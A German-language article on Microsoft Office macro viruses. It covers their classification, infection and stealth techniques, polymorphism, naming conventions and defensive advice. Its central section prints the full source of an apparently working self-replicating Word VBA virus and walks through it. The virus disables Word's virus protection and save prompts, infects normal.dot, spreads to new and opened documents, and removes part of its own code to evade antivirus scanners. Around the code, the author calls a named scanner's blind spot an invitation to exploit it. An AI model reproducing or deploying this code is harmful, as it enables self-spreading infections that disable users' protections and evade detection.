Makroviren sind eine Untergruppierung der Computerviren. Statt wie bisher in einer Programmiersprache wie z.B. Assembler, werden die Makroviren mit der Makrosprache, die in großen Büroanwendungen implementiert ist, erstellt.
Ein Makro soll dazu dienen, wiederkehrende Abläufe zu automatisieren und den Anwender so von Standardtätigkeiten zu entlasten (Office automation). Mit der Makrosprache können aber auch Computerviren erstellt werden.
Obwohl die Makroviren in der breiten Öffentlichkeit kaum Notiz finden, da
selten spektakuläre Schadensroutinen implementiert sind, geht inzwischen von
den Makroviren eine noch größere Gefahr aus. Der Grund hierfür ist vor allem
der rege Austausch von Textdokumenten, die dem Makrovirus als "Wirt" dienen und
somit für eine wesentlich rasantere Verbreitung sorgen, als das bei herkömmlichen
Viren der Fall ist.
Selbst wenn nicht gleich die Festplatte gelöscht wird (möglich ist dies
allerdings) oder Passwörter ausspioniert werden: Der Schaden, den ein Makrovirus
verursachen könnte, der z.B. in einer Tabellenkalkulation Zahlenwerte vertauscht
oder verändert, dürfte enorm sein und auch zu hohen Folgeschäden führen.
Die Klassifizierung eines Makrovirus erfolgt anhand des Anwenderprogramms, in dem der Makrovirus ausgeführt wird. Folgende Makrovirenarten sind bekannt:
Applikation: Microsoft Word 2.0 bis 7.0 Makrosprache: WordBasic Verbreitung: über Dokumentvorlage
Applikation: Microsoft Excel 6.0 und höher Makrosprache: Visual Basic for Applications 3.0 (VBA) Verbreitung: über Excel-Datenblätter (Spreadsheets)
Applikation: Microsoft Word97 und höher Makrosprache: VBA 5.0 Verbreitung: über Word-Dokumente (*.DOC)
Applikation: Microsoft Excel97 und höher Makrosprache: VBA 5.0 Verbreitung: über Excel-Datenblätter
Applikation: Microsoft Excel 4.0 und höher Makrosprache: ExcelBasic Verbreitung: über Excel-Datenblätter / Programmcode in Excel-Formeldatenfeldern
Applikation: Microsoft Access97 Makrosprache: VBA 5.0 und AccessBasic Verbreitung: über Access97-Datenbanken (MDB-Dateien)
Dieser Typ entspricht den A97M-Viren.
Bei O97M-Viren handelt es sich um Makroviren, die nicht nur ein Dateiformat infizieren können.
Weitere Makroviren sind auch für andere Applikationen wie etwa Lotus oder AmiPro bekannt. Da einige Firmen VBA von Microsoft lizensieren und in ihre Produkte einbauen möchten, kann man davon ausgehen, dass Makroviren auch in Zukunft ein breites Betätigungsfeld vorfinden werden.
Natürlich bietet nicht jede Makrosprache die Funktionalität um einen Virus zu programmieren. Voraussetzungen für die Programmierung eines Makrovirus sind:
1.)Ein Makro muß mit der Datei die ein Anwender mit der Applikation erstellt verbunden (linked) oder in dieser resident sein,
2.)Makros müssen von einer Datei zur nächsten kopierbar sein und
3.)Makros müssen ausgeführt werden, ohne dass der Benutzer die Ausführung anstossen muß, also ohne dass er es mitbekommt.
Die Programme Microsoft Word, Office97/2000, AmiPro, Microsoft Excel und Microsoft Access bieten beispielsweise eine Makrosprache, die diese Voraussetzungen erfüllen. Sie beinhalten die Makrosprachen WordBasic und Visual Basic for Applications (VBA).
Mit dem Service Release 1 für das Microsoft Office97-Paket funktionierte der bis dahin übliche Ansatz eines Makrovirus zum Kopieren seines eigenen Moduls nicht mehr. Das direkte Kopieren von Modulen aus der globalen Vorlage NORMAL.DOT in weitere Dokumente wurde unterbunden und somit wurden die älteren Makroviren für Office97 funktionsunfähig.
Die Virenprogrammierer umgingen natürlich auch diese neue Restriktion. Anstatt das komplette Virenmodul zu übertragen, kopieren die neueren Office97/2000-Makroviren den Quelltext. Dabei gibt es vier Möglichkeiten:
1.) .Import/.Export - Ersetzt den gesamten Quelltext im Modul
2.) .AddFromString - Fügt Text am Ende des Quelltexts an
3.) .AddFromFile - Fügt Text am Ende des Quelltexts an
4.) .InsertLine - Fügt Text am Anfang des Quelltext ein
Da die .Import / .Export-Methode von jeder Heuristik erkannt wird, haben die drei anderen Methoden oft einen nicht beabsichtigten Nebeneffekt. Vergisst der Virenprogrammierer vorhandenen Code im Zielmodul zu löschen, dann arbeiten Makroviren mir den oben genannten drei Infektionsmethoden pseudo-parasitisch.
Enthält ein Modul anhand dieses Umstands eine Kombination von mehreren Makroviren, so nennt man das ein "Sandwich". In vielen Fällen funktionieren diese Viren dann nicht mehr, weil VBA es nicht erlaubt, innerhalb eines Moduls zwei gleichnamige Sub/Function-Namen zu verwenden.
Die Unberechenbarkeit von Makroviren-Kombinationen erschweren die Identifizierung von Makroviren.
Da der Windows Scripting Host (WSH) mit Windows 98 und dem Internet Explorer 5.0 eingeführt wurde und mit Microsoft Office 2000, MS IE5.0 und Windows 2000 automatisch mitinstalliert wird, ist noch ein Scheunentor für Makroviren geöffnet worden. VBScipt besitzt die gleiche Funktionalität, wie das bisher von Makroviren verwendete VBA (Visual Basic for Applications).
Somit ist Dank Microsoft die Erstellung von HTML-Viren (!!!) möglich, denn HTML-Dokumente können ebenfalls VB-Scripte enthalten, diese werden beim Betrachten des Dokuments mit dem Microsoft Explorer aktiviert. So erschienen die ersten Webviren auch bereits im Herbst 1998. Unter Outlook Express reicht unter bestimmten Bedingungen sogar das bloße Betrachten einer infizierten Mail im Vorschaufenster, um den Virus zu aktivieren.
Mit Hilfe des CreateObject-Befehl kann VBScript eine Vielzahl von Objekten, wie etwa ein Word-Dokument erzeugen und manipulieren. Damit sind auch Cross-Application-Viren möglich, die gleich mehrere Office-Anwendungen infizieren. Während eines Übergangs von VBScript nach Word kann ein VBScript-Virus übrigens den in MS Office eingebauten Virenschutz problemlos per Registrymanipulation ausschalten.
Beim Ausführen von VBScript-Programmen, welche ein FileSystemObject erzeugen, wird bei der Standard-Sicherheitseinstellung normalerweise ein Warnhinweis angezeigt. Einmal aktiviert kann ein solches VBScript allerdings diesen Schutz ebenfalls permanent ausschalten.
Dank einer Unzahl von Viren-Generatoren (Virus Construction Kits) ist es auch möglich ohne große Kenntnisse Makroviren zu erstellen. Neuere Generationen benutzen zudem polymorphe Techniken um ihre Makros zu variieren und erlauben sogar Doppelinfektionen sowie Codeüberlagerungen. Somit lassen sich diese Makroviren nur schwer identifizieren.
Ein weiteres Problem macht den Virenscannern zu schaffen: aufwärts-konvertierte Viren (Upconverts). Viren, die in WordBasic oder VBA3 geschrieben sind und in Office 97 oder 2000 geladen werden, werden automatisch in die Makrosprache VBA5 konvertiert.
Dadurch entstehen wieder neue VBA5-Viren, für die spezielle Erkennungsstrings notwendig sind. Hier kann man allerdings davon ausgehen, dass schätzungsweise nur vier Prozent aller WordBasic-basierten Viren die Mutation nach Office 97/2000 überleben.
Dies liegt unter anderem an den schon angesprochenen eingeführten Schutzmechanismen durch das Service Release 1.
Es gibt eine ganze Reihe von Möglichkeiten, um sich vor Makroviren zu schützen. Auf jeden Fall sollte man einen aktuellen Virenscanner installiert haben, damit kann man einen Großteil der Makroviren bereits ausfindig machen.
Weiterhin ist es nützlich die globale Dokumentvorlage NORMAL.DOT in Word mit einem Schreibschutz zu versehen.
Auch die Aktivierung der eingebauten Makroschutzfunktion von MS Office ist ratsam. Noch besser ist die Verwendung von reinen Betrachterprogrammen (sog.. Viewer), da diese keinen Makrocode ausführen. Um ein versehentliches Öffnen von Dokumenten in Office, z.B. durch Doppelklick im Explorer zu vermeiden, ist außerdem die Dateizuordnung von Office-Dokumenten zu unkritischeren Programmen, wie die genannten Viewer oder Wordpad in Erwägung zu ziehen.
Auf jeden Fall sollte man ein gesundes Maß an Mißtrauen in den elektronischen Briefversand aufbringen. In Emails enthaltene Attachements, die von einem unbekannten Verfasser stammen, oder in einer für den Verfasser untypischen Weise gestaltet und geschrieben wurden, sollten nie geöffnet werden. Überhaupt hat sich in vielen Firmen folgende Vorgehensweise mit dem Umgang von Attachements etabliert:
Zuerst sollten Attachements auf Diskette gespeichert werden, anschließend werden diese mit einem Virenerkennungsprogramm überprüft und letztens auf einem separaten Rechner, der keine sensiblen Daten enthält geöffnet.
Ein Makrovirus wird üblicherweise per E-Mail an Opfer versendet. Diese werden durch den Mailtext auf das angehängte MS-Office-Dokument zum Öffnen des selben verleitet.
Wird das Attachment dann tatsächlich geöffnet (bei den meisten Windows-Mailprogrammen durch simplen Doppelklick auf das Attachment-Symbol) kann der Makrovirus bereits in Aktion treten.
Grundbedingung, damit ein Makrovirus tatsächlich aktiviert werden kann ist zuerst natürlich ein installiertes Microsoft Office, bzw. im Falle von Word-Viren ein installiertes Microsoft Word.
Verwendet man eine andere Software zum Anzeigen des Textes, z. B. Staroffice, das mit VBA-Code (Visual Basic for Applications) nicht unbedingt klar kommt, so ist die Gefahr einer "Infizierung" eher gering.
Weiterhin hat Microsoft ab der Office-Version 97 (8.0) einen Makrovirus-Schutz implementiert. Dieser soll die Ausführung von Makroviren verhindern. Bei Word 97 fragt dieses beim Öffnen von Dokumenten, die Programmcode (sog. Makros) enthalten, nach, ob die Makros auch wirklich aktiviert werden sollen.
Ist man sich nicht sicher, ob in dem Dokument ein Makrovirus enthalten sein könnte, oder man ist der Ansicht, in dem Dokument wird eigentlich kein Programmcode benötigt, sollte man die Ausführung von Makros verhindern.
Dabei gibt es zwei Fehler, die von unerfahrenen Benutzern gemacht werden, die die Grundvoraussetzung für das Wirken und die Verbreitung von Makroviren sind:
Erstens sind viele Benutzer von der Viren-Warnmeldung von Word genervt und schalten diese generell ab, wodurch jeder Makrovirus direkt und ohne Vorwarnung aktiv wird, oder aber sie machen sich nicht die Mühe, die Meldung zu lesen und drücken direkt Return. Und schon ist es passiert.
Ein Makrovirus in einem Word-Dokument wird sich immer der Ereignisfunktion "Document_Open" bedienen. Programmcode in dieser Funktion wird automatisch beim Öffnen des Dokuments ausgeführt.
Da die in Office enthaltene Programmiersprache VBA eine nahezu komplette Implementation des mächtigen Entwicklungswerkzeugs Visual Basic darstellt und obendrein direkt mit anderen Teilen des Office-Pakets und Windows selbst zusammenarbeiten kann, sind die Möglichkeiten für einen solchen Virus, Schaden anzurichten, nahezu grenzenlos.
Die meisten Makroviren beschränken sich "glücklicherweise" darauf, zuerst die globale Dokumentvorlage normal.dot zu infizieren, sich so auf jedes künftig geöffnete Dokument zu übertragen und sich per E-Mail zu verbreiten. Dazu wird dann kurzerhand das ab Windows 98 enthaltene Windows-Adressbuch (wird u. a. von Outlook Express verwendet) oder das Outlook-Adressbuch ausgelesen.
Über die - praktischerweise - ebenfalls in Windows enthaltene Mail-API verschickt sich der Virus dann heimlich an sämtliche Mail-Empfänger aus dem Adressbuch.
Dient diese Virus-Variante noch der reinen Verbreitung und der nutzlosen Auslastung von Netzwerk-Ressourcen, gibt es natürlich auch die Viren, die gleich die Festplatte löschen wollen oder wahllos irgendwelche Dateien zerstören, die auf den Laufwerken liegen (einschließlich den verbundenen Netzwerk-Laufwerken).
Verhindern lässt sich die Ausführung von Viren sehr einfach mit Hilfe der in MS-Office ab Version 97 eingebauten Makrovirusschutz-Funktion.
War dies in Version 97 noch eine reine Warnmeldung, bei der man die Ausführung von Code bereits unterbinden konnte, ermöglicht Office 2000, dass Code in nicht expliziert angegebenen Dokumenten generell deaktiviert wird.
Das bringt natürlich nichts, wenn unerfahrene Benutzer nach der ich-konnte-das-ja-nicht-ahnen-Methode diesen wirksamen Schutz abschalten oder Warnmeldungen der Software ignorieren.
Wer z. B. Word-Dokumente aus unbekannter Quelle öffnet hat einen zerstörerischen Virus allerdings ohnehin verdient...
Option Explicit
Const DestinationToInfect = "NormalTemplate"
Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
With ThisDocument.VBProject.VBComponents(1).CodeModule
.AddFromString vbNewLine & _
"Sub Document_Close()" & vbNewLine & vbNewLine & _
" Dim TmpCount As Long" & vbNewLine & _
" Dim TmpCode As String" & vbNewLine & vbNewLine & _
" Options.VirusProtection = False" & vbNewLine & _
" Options.SaveNormalPrompt = False" & vbNewLine & _
" Options.ConfirmConversions = False" & vbNewLine & vbNewLine & _
" With ThisDocument.VBProject.VBComponents(1).CodeModule" & vbNewLine & _
" TmpCode = .Lines (37, .CountOfLines - 36)" & vbNewLine & _
" End With" & vbNewLine & vbNewLine & _
" With " & DestinationToInfect & ".VBProject.VBComponents(1).CodeModule" & vbNewLine & _
" .DeleteLines 1, .CountOfLines" & vbNewLine & _
" .AddFromString ""Option Explicit"" & vbNewLine & vbNewLine & _" & vbNewLine & _
" ""Const DestinationToInfect = """"ActiveDocument"""""" & vbNewLine & vbNewLine & _" & vbNewLine & _
" TmpCode" & vbNewLine & _
" End With" & vbNewLine & vbNewLine & _
" With ThisDocument.VBProject.VBComponents(1).CodeModule" & vbNewLine & _
" TmpCount = 1" & vbNewLine & _
" While .Lines(TmpCount, 1) <> ""Sub Document_Close()""" & vbNewLine & _
" TmpCount = TmpCount + 1" & vbNewLine & _
" Wend" & vbNewLine & _
" .DeleteLines TmpCount, 32" & vbNewLine & _
" End With" & vbNewLine & vbNewLine & _
" ' Platzhalter für gefährlichen Code" & vbNewLine & vbNewLine & _
"End Sub"
End With
End Sub
Wird das Word-Dokument, das den vorstehenden Programmcode enthält, gestartet, so wird automatisch der in der Funktion (Event-Prozedur) Document_Open enthaltene Code ausgeführt.
Leider sind aktuelle Virenscanner in der Lage, jeden Code als Virus (W97M/Generic) zu erkennen und dessen Öffnung zu verhindern, die mittels entsprechender Methoden versuchen, Programmcode zu modifizieren oder auch nur auszulesen. Dies ist jedoch für eine Infizierung der Datei normal.dot notwendig.
Virenscanner erkennen diesen Code nur, wenn ein Dokument, das einen solchen Code enthält, von Festplatte gelesen bzw. auf diese geschrieben werden soll. Nicht erkannt wird das reine Ausführen eines solchen Codes.
Daher liegt es nahe, dass der Programmcode, der zur Verbreitung des Virus dient, erst zur Laufzeit generiert wird.
Mit Hilfe der Methode .AddFromString des Objekts ThisDocument.VBProject.VBComponents(1).CodeModule, das den Programmcode des aktuellen Dokuments (ThisDocument) darstellt, wird zwischen der Variablen-Deklaration und der ersten Prozedur neuer Code eingefügt.
Die derzeit aktuellste Version des McAfee VirusScan, Version 6.02 mit Virusdefinition 4.0.4203 und Scanmodul 4.1.60 ist nicht in der Lage einen Aufruf der Methode .AddFromString als Virus zu erkennen. Dieser Umstand schreit geradezu danach, ausgenutzt zu werden.
Die erwähnte Methode erzeugt also im gerade ablaufenden Code eine neue Funktion, hier die Funktion Document_Close, die von Word automatisch ausgeführt wird, sobald das aktuelle Dokument geschlossen wird.
Der Programmcode, der in dieser Funktion stehen soll, ist als Zeichenkettenkonstante im Programmcode hinterlegt, wodurch dieser Code vom Virenscanner nicht als solcher erkannt werden kann.
In der Zeichenkette ist der folgende Programmcode enthalten:
Sub Document_Close()
Dim TmpCount As Long
Dim TmpCode As String
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
With ThisDocument.VBProject.VBComponents(1).CodeModule
TmpCode = .Lines(37, .CountOfLines - 36)
End With
With NormalTemplate.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
.AddFromString "Option Explicit" & vbNewLine & vbNewLine & _
"Const DestinationToInfect = ""ActiveDocument""" & vbNewLine & vbNewLine & _
TmpCode
End With
' Platzhalter für gefährlichen Code
With ThisDocument.VBProject.VBComponents(1).CodeModule
TmpCount = 1
While .Lines(TmpCount, 1) <> "Sub Document_Close()"
TmpCount = TmpCount + 1
Wend
.DeleteLines TmpCount, 32
End With
End Sub
Dieser Code wird vom Benutzer unbemerkt ausgeführt, sobald das infizierte Dokument geschlossen wird.
Dabei wird zuerst einmal der Word-eigene Makrovirusschutz und die Meldung vor dem Speichern einer veränderten normal.dot abgeschaltet, damit der Virus künftig zu Werke gehen kann, ohne dass der Benutzer überhaupt noch irgendeine Meldung zu Gesicht bekommt:
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
Bevor die normal.dot nun infiziert werden kann, wird zuvor der eigene Programmcode ausgelesen und in einer temporären Zeichenkettenvariable abgelegt. Die zuvor erzeugte Funktion Document_Open wird dazu natürlich nicht hinzu gezogen:
With ThisDocument.VBProject.VBComponents(1).CodeModule
TmpCode = .Lines(37, .CountOfLines - 36)
End With
Anschließend kann nun ein evtl. in der normal.dot bereits enthaltener Programmcode gelöscht und der eigene Code hinein geschrieben werden:
With NormalTemplate.VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
.AddFromString "Option Explicit" & vbNewLine & vbNewLine & _
"Const DestinationToInfect = ""ActiveDocument""" & vbNewLine & vbNewLine & _
TmpCode
End With
Die normal.dot wurde nun infiziert. Dies wäre ein vorzüglicher Zeitpunkt einen zerstörerischen Code auszuführen oder sich per Mail weiter zu verbreiten. Darauf soll aber hier zu Demonstrationszwecken verzichtet werden.
Zu diesem Zeitpunkt wurde das aktuelle Dokument, sprich der Programmcode, modifiziert, was unweigerlich dazu führt, dass der Benutzer von Word gefragt wird, ob er die Änderungen speichern möchte. Würde er dies mit Ja beantworten, würde auch der Code der Funktion Document_Close auf Platte gespeichert werden.
Genau in diesem Moment würde der Virenscanner den Benutzer darauf aufmerksam machen, dass hier ein Virus enthalten ist. Um das zu verhindern, wird sich nach erfolgreich erledigter Arbeit die Funktion Document_Close selbst wieder eliminieren:
With ThisDocument.VBProject.VBComponents(1).CodeModule
TmpCount = 1
While .Lines(TmpCount, 1) <> "Sub Document_Close()"
TmpCount = TmpCount + 1
Wend
.DeleteLines TmpCount, 32
End With
Genau das Beschriebene passiert ab jetzt immer dann, wenn der Benutzer ein neues Dokument erstellt oder ein (bisher nicht infiziertes) Dokument öffnet, da Word immer die normal.dot heran zieht. Und die ist ja nun infiziert.
Natürlich infiziert der Viruscode in der normal.dot nicht die normal.dot selbst (wäre etwas reizlos), sondern das ActiveDocument, also das neue bzw. geladene Dokument. So kann sich der Makrovirus durch Weitergabe von infizierten Dokumenten unmerklich von einem Rechner zum anderen verbreiten...
Zum Schutz vor Makroviren ist ein aktueller Virenscanner unbedingt notwendig. Wie gezeigt, kann aber auch dessen Schutzmechanismus umgangen werden.
Daher sollte unbedingt der Word-eigene Makrovirusschutz aktiv sein.
Außerdem darf ein gesundes Misstrauen nicht fehlen: ein Word-Dokument von einem fremden per E-Mail erhalten, enthält kaum ein nützliches Makro, daher ist hier die Ausführung von Makros generell zu deaktivieren.
Verwendet man selbst keine Makros, können ab Word 2000 Makro generell deaktiviert werden.
Man kann die Makroviren unterscheiden, je nachdem, welche Infektionsmethode sie verwenden oder ob sie Tarnkappenfunktionen einsetzen um unentdeckt zu bleiben. Unter anderen gibt es die folgenden Eigenschaften:
Makroviren mit Stealtheigenschaften versuchen sich vor der Entdeckung durch den Anwender zu verbergen, indem sie die sonst für Viren typischen Merkmale "filtern". So wird z.B. versucht, die Anzeige der Makroliste unter Word zu manipulieren damit die Makros des Virus dort nicht mehr erscheinen.
Das reicht vom einfachen Blockieren der entsprechenden Word-Funktion, dem Löschen des entsprechenden Word-Menüeintrages "Extras/Makro" über eine vollständige Nachbildung des Makrolistenfensters bis hin zu komplizierten Tricks mit Hilfe von AddIns und anderen Methoden.
Unter Word97 und Excel97 wird beispielsweise versucht, den VBA-Editor zu umgehen oder gleich der komplette Virus aus der Datei gelöscht, falls der Anwender den VBA-Editor aufruft. Aber auch einfachere Tricks wie etwa das Ausschalten des Word-Virenschutzes (was ohne weiteres möglich ist!) werden häufig von den Makroviren eingesetzt.
Polymorphe Makroviren versuchen die Erkennung durch die Antiviren-Programme zu erschweren, indem sie ihren Programmcode mit jeder Infektion verändern. Eine einfache Erkennung über Signaturen wird damit je nach Komplexität des Virus unmöglich.
Zum Glück sind durch WordBasic bzw. VBA Grenzen gesetzt, da diese Programmiersprachen viel zu langsam sind um wirklich komplexe polymorphe Viren zu programmieren. Die Veränderung des Programmcodes kann durch ein einfaches Einfügen von Kommentaren erfolgen oder z.B. durch geschicktes Vertauschen von Befehlen oder ganzer Programmzeilen.
Anfangs versuchten die Virenprogrammierer durch zufällig generierte Makronamen die Antiviren-Programme zu täuschen, diese Technik wird aber nicht als polymorph angesehen.
Beispiele für polymorphe Makroviren sind "WM/Slow.A", "WM/UglyKid.A", "W97M/Splash.A", "W97M/Class" oder "W97M/Walker.C".
Der Virenprogrammierer versucht, durch besonders komplexe und trickreiche Programmierung eine Erkennung durch Antiviren-Programme zu verhindern, welche Makros mittels einer Heuristik nach verdächtigen Befehlen durchsuchen.
Dazu gehört z.B. auch das Verstecken des eigentlichen Programmcodes in Dokumentvariablen, Autotexten oder verschlüsselten Strings. Oft erzeugt der Virus dann zur Laufzeit ein neues Makro und fügt den versteckten Programmcode dort ein und führt ihn anschließend aus.
Beispiele sind hier "Minimal.K" oder "Target.A".
Richtig speicherresident wie DOS-Viren können Makroviren nicht sein, allerdings können sie ähnlich wie bei den DOS-Viren (Interrupts) bestimmte Funktionen des Anwenderprogramms abfangen und übernehmen.
Sehr viele Makroviren für Word benutzen die Auto-Makros wie "AutoOpen" und "AutoClose" um beim Öffnen und Schließen eines Dokuments aktiv zu werden und weitere Dokumente zu infizieren. Ebenfalls werden häufig Funktionen wie "DateiSpeichernUnter", "DateiÖffnen", "ExtrasMakro" oder "DateiDrucken" abgefangen.
Im Prinzip kann so gut wie jedes Ereignis innerhalb von Microsoft Word bzw. Excel abgefangen werden. Auto-Makros sind allerdings sprachunabhängig und funktionieren daher mit jeder nationalen Version von Word. System-Makros wie "DateiÖffnen" lauten in der englischen Version "FileOpen". Ein Virus der sich auf solche Makros verläßt, ist daher sprachabhängig.
Neben bestimmten Makros, die wichtige Funktionen von Word/Excel übernehmen, können Makroviren auch die Tastaturbelegung ändern. So ist es z.B. möglich die Leertaste und andere beliebige Tasten mit einem Makro zu verbinden, das ausgeführt wird sobald der Anwender die betreffende Taste drückt.
"WM/Outlaw" verwendet diese Art der Aktivierung.
Formularfelder können mit zwei Makros verknüpft werden, die beim Betreten und Verlassen des Formularfeldes ausführt werden.
Die Auswahlleiste mit Knöpfen für bestimmte Funktionen wie etwa "Datei speichern", "Datei drucken" usw. kann beliebig abgeändert werden. Es möglich, diese Knöpfe mit bestimmten Makros zu verknüpfen.
Diese Makroviren infizieren nicht wie üblich die globale Vorlage "NORMAL.DOT", sondern erzeugen eine neue Vorlage in die der Virus dann kopiert wird. Damit werden unter anderen alle "NORMAL.DOT" - Schutzmechanismen umgangen und zusätzlich fortschrittliche Tarnkappenmethoden möglich.
Diese Infektionsmethode wird z.B. von "WM/Hunter" oder "WM/Eraser" verwendet.
Companion-Viren infizieren Dokumente nicht direkt und fügen dort keine Makros ein. Statt dessen erzeugt der Virus eine gleichnamige Datei mit der Dateiendung ".DOT", die den eigentlichen Virus enthält und die mit der ".DOC"-Datei verknüpft wird.
Öffnet der Anwender das Dokument, bezieht Word automatisch die Makros aus der ".DOT"-Datei. Diese Art der Infektion ist sehr uneffektiv und kaum verbreitet, da der Anwender in der Regel nur die ".DOC"-Dateien weiterkopiert und daher den Virus nicht verbreitet.
Beispiele für Companion-Viren sind etwa der "WM/Dietzel" oder "WM/Birthday".
Diese Viren infizieren ebenfalls nicht die "NORMAL.DOT"NORMAL.DOT und umgehen damit zusammenhängende Schutzmechanismen. Sie suchen direkt auf nach weiteren Dateien, die sie infizieren können. Einige Viren infizieren z.B. jedes Dokument das der Anwender zuletzt bearbeitet hat (diese Dateien werden in der MRU-Liste gespeichert), andere durchsuchen die Festplatte einfach nach Dateien mit der Endung ".DOC".
Viren, die diese Infektionsmethode verwenden sind z.B. "WM/Snickers" oder "W97M.RatsAss".
Makroviren erhalten in der Regel von den Antivirenfirmen Namen nach einer bestimmen Norm zugewiesen, die wie folgt aufgebaut ist:
"Platform und Typ/Name.Variante:Sprache"
Ein Beispiel wäre etwa: "WM/Intended/Newir.A:De"
Aufgeschlüsselt bedeutet dies:
WM: WordMacro, Makrovirus für Microsoft Word 6.0/7.0
Intended: Der Virus ist nicht funktionsfähig und kann sich nicht vermehren
Newir: Der Name des Virus
.A: Es handelt sich um die .A-Variante
:De: Der Virus funktioniert nur mit der deutschen Version von Microsoft Word
Degeneriert ein Makrovirus, wie etwa "WM/Rapi.A" es macht, werden die nachfolgenden Varianten mit ".A1", ".A2" usw. bezeichnet.